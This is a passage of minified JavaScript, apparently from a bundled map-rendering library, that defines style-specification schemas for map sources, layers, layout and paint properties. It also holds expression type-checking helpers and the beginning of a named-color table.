apbox"},"*":{type:"*"}},Rr={type:{required:!0,type:"enum",values:{geojson:{}}},data:{type:"*"},maxzoom:{type:"number",default:18},attribution:{type:"string"},buffer:{type:"number",default:128,maximum:512,minimum:0},tolerance:{type:"number",default:.375},cluster:{type:"boolean",default:!1},clusterRadius:{type:"number",default:50,minimum:0},clusterMaxZoom:{type:"number"},clusterProperties:{type:"*"},lineMetrics:{type:"boolean",default:!1},generateId:{type:"boolean",default:!1},promoteId:{type:"promoteId"}},Cr={type:{required:!0,type:"enum",values:{video:{}}},urls:{required:!0,type:"array",value:"string"},coordinates:{required:!0,type:"array",length:4,value:{type:"array",length:2,value:"number"}}},vn={type:{required:!0,type:"enum",values:{image:{}}},url:{required:!0,type:"string"},coordinates:{required:!0,type:"array",length:4,value:{type:"array",length:2,value:"number"}}},Ur={id:{type:"string",required:!0},type:{type:"enum",values:{fill:{},line:{},symbol:{},circle:{},heatmap:{},"fill-extrusion":{},raster:{},hillshade:{},background:{}},required:!0},metadata:{type:"*"},source:{type:"string"},"source-layer":{type:"string"},minzoom:{type:"number",minimum:0,maximum:24},maxzoom:{type:"number",minimum:0,maximum:24},filter:{type:"filter"},layout:{type:"layout"},paint:{type:"paint"}},Mn=["layout_fill","layout_line","layout_circle","layout_heatmap","layout_fill-extrusion","layout_symbol","layout_raster","layout_hillshade","layout_background"],Sn={visibility:{type:"enum",values:{visible:{},none:{}},default:"visible","property-type":"constant"}},nr={"fill-sort-key":{type:"number",expression:{interpolated:!1,parameters:["zoom","feature"]},"property-type":"data-driven"},visibility:{type:"enum",values:{visible:{},none:{}},default:"visible","property-type":"constant"}},Sr={"circle-sort-key":{type:"number",expression:{interpolated:!1,parameters:["zoom","feature"]},"property-type":"data-driven"},visibility:{type:"enum",values:{visible:{},none:{}},default:"visible","property-type":"constant"}},Dr={visibility:{type:"enum",values:{visible:{},none:{}},default:"visible","property-type":"constant"}},Ir={"line-cap":{type:"enum",values:{butt:{},round:{},square:{}},default:"butt",expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"line-join":{type:"enum",values:{bevel:{},round:{},miter:{}},default:"miter",expression:{interpolated:!1,parameters:["zoom","feature"]},"property-type":"data-driven"},"line-miter-limit":{type:"number",default:2,requires:[{"line-join":"miter"}],expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"line-round-limit":{type:"number",default:1.05,requires:[{"line-join":"round"}],expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"line-sort-key":{type:"number",expression:{interpolated:!1,parameters:["zoom","feature"]},"property-type":"data-driven"},visibility:{type:"enum",values:{visible:{},none:{}},default:"visible","property-type":"constant"}},Xr={"symbol-placement":{type:"enum",values:{point:{},line:{},"line-center":{}},default:"point",expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"symbol-spacing":{type:"number",default:250,minimum:1,units:"pixels",requires:[{"symbol-placement":"line"}],expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"symbol-avoid-edges":{type:"boolean",default:!1,expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"symbol-sort-key":{type:"number",expression:{interpolated:!1,parameters:["zoom","feature"]},"property-type":"data-driven"},"symbol-z-order":{type:"enum",values:{auto:{},"viewport-y":{},source:{}},default:"auto",expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"icon-allow-overlap":{type:"boolean",default:!1,requires:["icon-image"],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"icon-ignore-placement":{type:"boolean",default:!1,requires:["icon-image"],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"icon-optional":{type:"boolean",default:!1,requires:["icon-image","text-field"],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"icon-rotation-alignment":{type:"enum",values:{map:{},viewport:{},auto:{}},default:"auto",requires:["icon-image"],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"icon-size":{type:"number",default:1,minimum:0,units:"factor of the original icon size",requires:["icon-image"],expression:{interpolated:!0,parameters:["zoom","feature"]},"property-type":"data-driven"},"icon-text-fit":{type:"enum",values:{none:{},width:{},height:{},both:{}},default:"none",requires:["icon-image","text-field"],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"icon-text-fit-padding":{type:"array",value:"number",length:4,default:[0,0,0,0],units:"pixels",requires:["icon-image","text-field",{"icon-text-fit":["both","width","height"]}],expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"icon-image":{type:"resolvedImage",tokens:!0,expression:{interpolated:!1,parameters:["zoom","feature"]},"property-type":"data-driven"},"icon-rotate":{type:"number",default:0,period:360,units:"degrees",requires:["icon-image"],expression:{interpolated:!0,parameters:["zoom","feature"]},"property-type":"data-driven"},"icon-padding":{type:"number",default:2,minimum:0,units:"pixels",requires:["icon-image"],expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"icon-keep-upright":{type:"boolean",default:!1,requires:["icon-image",{"icon-rotation-alignment":"map"},{"symbol-placement":["line","line-center"]}],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"icon-offset":{type:"array",value:"number",length:2,default:[0,0],requires:["icon-image"],expression:{interpolated:!0,parameters:["zoom","feature"]},"property-type":"data-driven"},"icon-anchor":{type:"enum",values:{center:{},left:{},right:{},top:{},bottom:{},"top-left":{},"top-right":{},"bottom-left":{},"bottom-right":{}},default:"center",requires:["icon-image"],expression:{interpolated:!1,parameters:["zoom","feature"]},"property-type":"data-driven"},"icon-pitch-alignment":{type:"enum",values:{map:{},viewport:{},auto:{}},default:"auto",requires:["icon-image"],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"text-pitch-alignment":{type:"enum",values:{map:{},viewport:{},auto:{}},default:"auto",requires:["text-field"],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"text-rotation-alignment":{type:"enum",values:{map:{},viewport:{},auto:{}},default:"auto",requires:["text-field"],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"text-field":{type:"formatted",default:"",tokens:!0,expression:{interpolated:!1,parameters:["zoom","feature"]},"property-type":"data-driven"},"text-font":{type:"array",value:"string",default:["Open Sans Regular","Arial Unicode MS Regular"],requires:["text-field"],expression:{interpolated:!1,parameters:["zoom","feature"]},"property-type":"data-driven"},"text-size":{type:"number",default:16,minimum:0,units:"pixels",requires:["text-field"],expression:{interpolated:!0,parameters:["zoom","feature"]},"property-type":"data-driven"},"text-max-width":{type:"number",default:10,minimum:0,units:"ems",requires:["text-field"],expression:{interpolated:!0,parameters:["zoom","feature"]},"property-type":"data-driven"},"text-line-height":{type:"number",default:1.2,units:"ems",requires:["text-field"],expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"text-letter-spacing":{type:"number",default:0,units:"ems",requires:["text-field"],expression:{interpolated:!0,parameters:["zoom","feature"]},"property-type":"data-driven"},"text-justify":{type:"enum",values:{auto:{},left:{},center:{},right:{}},default:"center",requires:["text-field"],expression:{interpolated:!1,parameters:["zoom","feature"]},"property-type":"data-driven"},"text-radial-offset":{type:"number",units:"ems",default:0,requires:["text-field"],"property-type":"data-driven",expression:{interpolated:!0,parameters:["zoom","feature"]}},"text-variable-anchor":{type:"array",value:"enum",values:{center:{},left:{},right:{},top:{},bottom:{},"top-left":{},"top-right":{},"bottom-left":{},"bottom-right":{}},requires:["text-field",{"symbol-placement":["point"]}],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"text-anchor":{type:"enum",values:{center:{},left:{},right:{},top:{},bottom:{},"top-left":{},"top-right":{},"bottom-left":{},"bottom-right":{}},default:"center",requires:["text-field",{"!":"text-variable-anchor"}],expression:{interpolated:!1,parameters:["zoom","feature"]},"property-type":"data-driven"},"text-max-angle":{type:"number",default:45,units:"degrees",requires:["text-field",{"symbol-placement":["line","line-center"]}],expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"text-writing-mode":{type:"array",value:"enum",values:{horizontal:{},vertical:{}},requires:["text-field",{"symbol-placement":["point"]}],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"text-rotate":{type:"number",default:0,period:360,units:"degrees",requires:["text-field"],expression:{interpolated:!0,parameters:["zoom","feature"]},"property-type":"data-driven"},"text-padding":{type:"number",default:2,minimum:0,units:"pixels",requires:["text-field"],expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"text-keep-upright":{type:"boolean",default:!0,requires:["text-field",{"text-rotation-alignment":"map"},{"symbol-placement":["line","line-center"]}],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"text-transform":{type:"enum",values:{none:{},uppercase:{},lowercase:{}},default:"none",requires:["text-field"],expression:{interpolated:!1,parameters:["zoom","feature"]},"property-type":"data-driven"},"text-offset":{type:"array",value:"number",units:"ems",length:2,default:[0,0],requires:["text-field",{"!":"text-radial-offset"}],expression:{interpolated:!0,parameters:["zoom","feature"]},"property-type":"data-driven"},"text-allow-overlap":{type:"boolean",default:!1,requires:["text-field"],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"text-ignore-placement":{type:"boolean",default:!1,requires:["text-field"],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"text-optional":{type:"boolean",default:!1,requires:["text-field","icon-image"],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},visibility:{type:"enum",values:{visible:{},none:{}},default:"visible","property-type":"constant"}},an={visibility:{type:"enum",values:{visible:{},none:{}},default:"visible","property-type":"constant"}},tn={visibility:{type:"enum",values:{visible:{},none:{}},default:"visible","property-type":"constant"}},gn={type:"array",value:"*"},En={type:"enum",values:{"==":{},"!=":{},">":{},">=":{},"<":{},"<=":{},in:{},"!in":{},all:{},any:{},none:{},has:{},"!has":{},within:{}}},Hn={type:"enum",values:{Point:{},LineString:{},Polygon:{}}},Xn={type:"array",minimum:0,maximum:24,value:["number","color"],length:2},qn={type:"array",value:"*",minimum:1},Wn={type:"enum",values:{let:{group:"Variable binding"},var:{group:"Variable binding"},literal:{group:"Types"},array:{group:"Types"},at:{group:"Lookup"},in:{group:"Lookup"},"index-of":{group:"Lookup"},slice:{group:"Lookup"},case:{group:"Decision"},match:{group:"Decision"},coalesce:{group:"Decision"},step:{group:"Ramps, scales, curves"},interpolate:{group:"Ramps, scales, curves"},"interpolate-hcl":{group:"Ramps, scales, curves"},"interpolate-lab":{group:"Ramps, scales, curves"},ln2:{group:"Math"},pi:{group:"Math"},e:{group:"Math"},typeof:{group:"Types"},string:{group:"Types"},number:{group:"Types"},boolean:{group:"Types"},object:{group:"Types"},collator:{group:"Types"},format:{group:"Types"},image:{group:"Types"},"number-format":{group:"Types"},"to-string":{group:"Types"},"to-number":{group:"Types"},"to-boolean":{group:"Types"},"to-rgba":{group:"Color"},"to-color":{group:"Types"},rgb:{group:"Color"},rgba:{group:"Color"},get:{group:"Lookup"},has:{group:"Lookup"},length:{group:"Lookup"},properties:{group:"Feature data"},"feature-state":{group:"Feature data"},"geometry-type":{group:"Feature data"},id:{group:"Feature data"},zoom:{group:"Zoom"},"heatmap-density":{group:"Heatmap"},"line-progress":{group:"Feature data"},accumulated:{group:"Feature data"},"+":{group:"Math"},"*":{group:"Math"},"-":{group:"Math"},"/":{group:"Math"},"%":{group:"Math"},"^":{group:"Math"},sqrt:{group:"Math"},log10:{group:"Math"},ln:{group:"Math"},log2:{group:"Math"},sin:{group:"Math"},cos:{group:"Math"},tan:{group:"Math"},asin:{group:"Math"},acos:{group:"Math"},atan:{group:"Math"},min:{group:"Math"},max:{group:"Math"},round:{group:"Math"},abs:{group:"Math"},ceil:{group:"Math"},floor:{group:"Math"},distance:{group:"Math"},"==":{group:"Decision"},"!=":{group:"Decision"},">":{group:"Decision"},"<":{group:"Decision"},">=":{group:"Decision"},"<=":{group:"Decision"},all:{group:"Decision"},any:{group:"Decision"},"!":{group:"Decision"},within:{group:"Decision"},"is-supported-script":{group:"String"},upcase:{group:"String"},downcase:{group:"String"},concat:{group:"String"},"resolved-locale":{group:"String"}}},ea={anchor:{type:"enum",default:"viewport",values:{map:{},viewport:{}},"property-type":"data-constant",transition:!1,expression:{interpolated:!1,parameters:["zoom"]}},position:{type:"array",default:[1.15,210,30],length:3,value:"number","property-type":"data-constant",transition:!0,expression:{interpolated:!0,parameters:["zoom"]}},color:{type:"color","property-type":"data-constant",default:"#ffffff",expression:{interpolated:!0,parameters:["zoom"]},transition:!0},intensity:{type:"number","property-type":"data-constant",default:.5,minimum:0,maximum:1,expression:{interpolated:!0,parameters:["zoom"]},transition:!0}},mr=["paint_fill","paint_line","paint_circle","paint_heatmap","paint_fill-extrusion","paint_symbol","paint_raster","paint_hillshade","paint_background"],qr={"fill-antialias":{type:"boolean",default:!0,expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"fill-opacity":{type:"number",default:1,minimum:0,maximum:1,transition:!0,expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"fill-color":{type:"color",default:"#000000",transition:!0,requires:[{"!":"fill-pattern"}],expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"fill-outline-color":{type:"color",transition:!0,requires:[{"!":"fill-pattern"},{"fill-antialias":!0}],expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"fill-translate":{type:"array",value:"number",length:2,default:[0,0],transition:!0,units:"pixels",expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"fill-translate-anchor":{type:"enum",values:{map:{},viewport:{}},default:"map",requires:["fill-translate"],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"fill-pattern":{type:"resolvedImage",transition:!0,expression:{interpolated:!1,parameters:["zoom","feature"]},"property-type":"cross-faded-data-driven"}},Qr={"line-opacity":{type:"number",default:1,minimum:0,maximum:1,transition:!0,expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"line-color":{type:"color",default:"#000000",transition:!0,requires:[{"!":"line-pattern"}],expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"line-translate":{type:"array",value:"number",length:2,default:[0,0],transition:!0,units:"pixels",expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"line-translate-anchor":{type:"enum",values:{map:{},viewport:{}},default:"map",requires:["line-translate"],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"line-width":{type:"number",default:1,minimum:0,transition:!0,units:"pixels",expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"line-gap-width":{type:"number",default:0,minimum:0,transition:!0,units:"pixels",expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"line-offset":{type:"number",default:0,transition:!0,units:"pixels",expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"line-blur":{type:"number",default:0,minimum:0,transition:!0,units:"pixels",expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"line-dasharray":{type:"array",value:"number",minimum:0,transition:!0,units:"line widths",requires:[{"!":"line-pattern"}],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"cross-faded"},"line-pattern":{type:"resolvedImage",transition:!0,expression:{interpolated:!1,parameters:["zoom","feature"]},"property-type":"cross-faded-data-driven"},"line-gradient":{type:"color",transition:!1,requires:[{"!":"line-dasharray"},{"!":"line-pattern"},{source:"geojson",has:{lineMetrics:!0}}],expression:{interpolated:!0,parameters:["line-progress"]},"property-type":"color-ramp"}},un={"circle-radius":{type:"number",default:5,minimum:0,transition:!0,units:"pixels",expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"circle-color":{type:"color",default:"#000000",transition:!0,expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"circle-blur":{type:"number",default:0,transition:!0,expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"circle-opacity":{type:"number",default:1,minimum:0,maximum:1,transition:!0,expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"circle-translate":{type:"array",value:"number",length:2,default:[0,0],transition:!0,units:"pixels",expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"circle-translate-anchor":{type:"enum",values:{map:{},viewport:{}},default:"map",requires:["circle-translate"],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"circle-pitch-scale":{type:"enum",values:{map:{},viewport:{}},default:"map",expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"circle-pitch-alignment":{type:"enum",values:{map:{},viewport:{}},default:"viewport",expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"circle-stroke-width":{type:"number",default:0,minimum:0,transition:!0,units:"pixels",expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"circle-stroke-color":{type:"color",default:"#000000",transition:!0,expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"circle-stroke-opacity":{type:"number",default:1,minimum:0,maximum:1,transition:!0,expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"}},kn={"heatmap-radius":{type:"number",default:30,minimum:1,transition:!0,units:"pixels",expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"heatmap-weight":{type:"number",default:1,minimum:0,transition:!1,expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"heatmap-intensity":{type:"number",default:1,minimum:0,transition:!0,expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"heatmap-color":{type:"color",default:["interpolate",["linear"],["heatmap-density"],0,"rgba(0, 0, 255, 0)",.1,"royalblue",.3,"cyan",.5,"lime",.7,"yellow",1,"red"],transition:!1,expression:{interpolated:!0,parameters:["heatmap-density"]},"property-type":"color-ramp"},"heatmap-opacity":{type:"number",default:1,minimum:0,maximum:1,transition:!0,expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"}},bn={"icon-opacity":{type:"number",default:1,minimum:0,maximum:1,transition:!0,requires:["icon-image"],expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"icon-color":{type:"color",default:"#000000",transition:!0,requires:["icon-image"],expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"icon-halo-color":{type:"color",default:"rgba(0, 0, 0, 0)",transition:!0,requires:["icon-image"],expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"icon-halo-width":{type:"number",default:0,minimum:0,transition:!0,units:"pixels",requires:["icon-image"],expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"icon-halo-blur":{type:"number",default:0,minimum:0,transition:!0,units:"pixels",requires:["icon-image"],expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"icon-translate":{type:"array",value:"number",length:2,default:[0,0],transition:!0,units:"pixels",requires:["icon-image"],expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"icon-translate-anchor":{type:"enum",values:{map:{},viewport:{}},default:"map",requires:["icon-image","icon-translate"],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"text-opacity":{type:"number",default:1,minimum:0,maximum:1,transition:!0,requires:["text-field"],expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"text-color":{type:"color",default:"#000000",transition:!0,overridable:!0,requires:["text-field"],expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"text-halo-color":{type:"color",default:"rgba(0, 0, 0, 0)",transition:!0,requires:["text-field"],expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"text-halo-width":{type:"number",default:0,minimum:0,transition:!0,units:"pixels",requires:["text-field"],expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"text-halo-blur":{type:"number",default:0,minimum:0,transition:!0,units:"pixels",requires:["text-field"],expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"text-translate":{type:"array",value:"number",length:2,default:[0,0],transition:!0,units:"pixels",requires:["text-field"],expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"text-translate-anchor":{type:"enum",values:{map:{},viewport:{}},default:"map",requires:["text-field","text-translate"],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"}},wn={"raster-opacity":{type:"number",default:1,minimum:0,maximum:1,transition:!0,expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"raster-hue-rotate":{type:"number",default:0,period:360,transition:!0,units:"degrees",expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"raster-brightness-min":{type:"number",default:0,minimum:0,maximum:1,transition:!0,expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"raster-brightness-max":{type:"number",default:1,minimum:0,maximum:1,transition:!0,expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"raster-saturation":{type:"number",default:0,minimum:-1,maximum:1,transition:!0,expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"raster-contrast":{type:"number",default:0,minimum:-1,maximum:1,transition:!0,expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"raster-resampling":{type:"enum",values:{linear:{},nearest:{}},default:"linear",expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"raster-fade-duration":{type:"number",default:300,minimum:0,transition:!1,units:"milliseconds",expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"}},zn={"hillshade-illumination-direction":{type:"number",default:335,minimum:0,maximum:359,transition:!1,expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"hillshade-illumination-anchor":{type:"enum",values:{map:{},viewport:{}},default:"viewport",expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"hillshade-exaggeration":{type:"number",default:.5,minimum:0,maximum:1,transition:!0,expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"hillshade-shadow-color":{type:"color",default:"#000000",transition:!0,expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"hillshade-highlight-color":{type:"color",default:"#FFFFFF",transition:!0,expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"hillshade-accent-color":{type:"color",default:"#000000",transition:!0,expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"}},Jn={"background-color":{type:"color",default:"#000000",transition:!0,requires:[{"!":"background-pattern"}],expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"background-pattern":{type:"resolvedImage",transition:!0,expression:{interpolated:!1,parameters:["zoom"]},"property-type":"cross-faded"},"background-opacity":{type:"number",default:1,minimum:0,maximum:1,transition:!0,expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"}},ba={duration:{type:"number",default:300,minimum:0,units:"milliseconds"},delay:{type:"number",default:0,minimum:0,units:"milliseconds"}},Fa={"*":{type:"string"}},Ht={$version:Jt,$root:It,sources:or,source:ur,source_vector:fr,source_raster:lr,source_raster_dem:Nr,source_geojson:Rr,source_video:Cr,source_image:vn,layer:Ur,layout:Mn,layout_background:Sn,layout_fill:nr,layout_circle:Sr,layout_heatmap:Dr,"layout_fill-extrusion":{visibility:{type:"enum",values:{visible:{},none:{}},default:"visible","property-type":"constant"}},layout_line:Ir,layout_symbol:Xr,layout_raster:an,layout_hillshade:tn,filter:gn,filter_operator:En,geometry_type:Hn,function:{expression:{type:"expression"},stops:{type:"array",value:"function_stop"},base:{type:"number",default:1,minimum:0},property:{type:"string",default:"$zoom"},type:{type:"enum",values:{identity:{},exponential:{},interval:{},categorical:{}},default:"exponential"},colorSpace:{type:"enum",values:{rgb:{},lab:{},hcl:{}},default:"rgb"},default:{type:"*",required:!1}},function_stop:Xn,expression:qn,expression_name:Wn,light:ea,paint:mr,paint_fill:qr,"paint_fill-extrusion":{"fill-extrusion-opacity":{type:"number",default:1,minimum:0,maximum:1,transition:!0,expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"fill-extrusion-color":{type:"color",default:"#000000",transition:!0,requires:[{"!":"fill-extrusion-pattern"}],expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"fill-extrusion-translate":{type:"array",value:"number",length:2,default:[0,0],transition:!0,units:"pixels",expression:{interpolated:!0,parameters:["zoom"]},"property-type":"data-constant"},"fill-extrusion-translate-anchor":{type:"enum",values:{map:{},viewport:{}},default:"map",requires:["fill-extrusion-translate"],expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"},"fill-extrusion-pattern":{type:"resolvedImage",transition:!0,expression:{interpolated:!1,parameters:["zoom","feature"]},"property-type":"cross-faded-data-driven"},"fill-extrusion-height":{type:"number",default:0,minimum:0,units:"meters",transition:!0,expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"fill-extrusion-base":{type:"number",default:0,minimum:0,units:"meters",transition:!0,requires:["fill-extrusion-height"],expression:{interpolated:!0,parameters:["zoom","feature","feature-state"]},"property-type":"data-driven"},"fill-extrusion-vertical-gradient":{type:"boolean",default:!0,transition:!1,expression:{interpolated:!1,parameters:["zoom"]},"property-type":"data-constant"}},paint_line:Qr,paint_circle:un,paint_heatmap:kn,paint_symbol:bn,paint_raster:wn,paint_hillshade:zn,paint_background:Jn,transition:ba,"property-type":{"data-driven":{type:"property-type"},"cross-faded":{type:"property-type"},"cross-faded-data-driven":{type:"property-type"},"color-ramp":{type:"property-type"},"data-constant":{type:"property-type"},constant:{type:"property-type"}},promoteId:Fa},pr=function(D,U,ee,ce){this.message=(D?D+": ":"")+ee,ce&&(this.identifier=ce),U!=null&&U.__line__&&(this.line=U.__line__)};function $r(R){var D=R.key,U=R.value;return U?[new pr(D,U,"constants have been deprecated as of v8")]:[]}function on(R){for(var D=[],U=arguments.length-1;U-- >0;)D[U]=arguments[U+1];for(var ee=0,ce=D;ee<ce.length;ee+=1){var me=ce[ee];for(var Se in me)R[Se]=me[Se]}return R}function sn(R){return R instanceof Number||R instanceof String||R instanceof Boolean?R.valueOf():R}function Tn(R){if(Array.isArray(R))return R.map(Tn);if(R instanceof Object&&!(R instanceof Number||R instanceof String||R instanceof Boolean)){var D={};for(var U in R)D[U]=Tn(R[U]);return D}return sn(R)}var pn=function(R){function D(U,ee){R.call(this,ee),this.message=ee,this.key=U}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D}(Error),nn=function(D,U){U===void 0&&(U=[]),this.parent=D,this.bindings={};for(var ee=0,ce=U;ee<ce.length;ee+=1){var me=ce[ee],Se=me[0],We=me[1];this.bindings[Se]=We}};nn.prototype.concat=function(D){return new nn(this,D)},nn.prototype.get=function(D){if(this.bindings[D])return this.bindings[D];if(this.parent)return this.parent.get(D);throw new Error(D+" not found in scope.")},nn.prototype.has=function(D){return this.bindings[D]?!0:this.parent?this.parent.has(D):!1};var Ar={kind:"null"},br={kind:"number"},Lr={kind:"string"},ln={kind:"boolean"},Ln={kind:"color"},On={kind:"object"},fn={kind:"value"},Rn={kind:"error"},Zn={kind:"collator"},ta={kind:"formatted"},Qn={kind:"resolvedImage"};function $n(R,D){return{kind:"array",itemType:R,N:D}}function oa(R){if(R.kind==="array"){var D=oa(R.itemType);return typeof R.N=="number"?"array<"+D+", "+R.N+">":R.itemType.kind==="value"?"array":"array<"+D+">"}else return R.kind}var Di=[Ar,br,Lr,ln,Ln,ta,On,$n(fn),Qn];function Gi(R,D){if(D.kind==="error")return null;if(R.kind==="array"){if(D.kind==="array"&&(D.N===0&&D.itemType.kind==="value"||!Gi(R.itemType,D.itemType))&&(typeof R.N!="number"||R.N===D.N))return null}else{if(R.kind===D.kind)return null;if(R.kind==="value")for(var U=0,ee=Di;U<ee.length;U+=1){var ce=ee[U];if(!Gi(ce,D))return null}}return"Expected "+oa(R)+" but found "+oa(D)+" instead."}function Xi(R,D){return D.some(function(U){return U.kind===R.kind})}function qi(R,D){return D.some(function(U){return U==="null"?R===null:U==="array"?Array.isArray(R):U==="object"?R&&!Array.isArray(R)&&typeof R=="object":U===typeof R})}var ji=L(function(R,D){var U={transparent:[0,0,0,0],aliceblue:[240,248,255,1],antiquewhite:[250,235,215,1],aqua:[0,255,255,1],aquamarine:[127,255,212,1],azure:[240,255,255,1],beige:[245,245,220,1],bisque:[255,228,196,1],black:[0,0,0,1],blanchedalmond:[255,235,205,1],blue:[0,0,255,1],blueviolet:[138,43,226,1],brown:[165,42,42,1],burlywood:[222,184,135,1],cadetblue:[95,158,160,1],chartreuse:[127,255,0,1],chocolate:[210,105,30,1],coral:[255,127,80,1],cornflowerblue:[100,149,237,1],cornsilk:[255,248,220,1],crimson:[220,20,60,1],cyan:[0,255,255,1],darkblue:[0,0,139,1],darkcyan:[0,139,139,1],darkgoldenrod:[184,134,11,1],darkgray:[169,169,169,1],darkgreen:[0,100,0,1],darkgrey:[169,169,169,1],darkkhaki:[189,183,107,1],darkmagenta:[139,0,139,1],darkolivegreen:[85,107,47,1],darkorange:[255,140,0,1],darkorchid:[153,50,204,1],darkred:[139,0,0,1],darksalmon:[233,150,122,1],darkseagreen:[143,188,143,1],darkslateblue:[72,61,139,1],darkslategray:[47,79,79,1],darkslategrey:[47,79,79,1],darkturquoise:[0,206,209,1],darkviolet:[148,0,211,1],deeppink:[255,20,147,1],deepskyblue:[0,191,255,1],dimgray:[105,105,105,1],dimgrey:[105,105,105,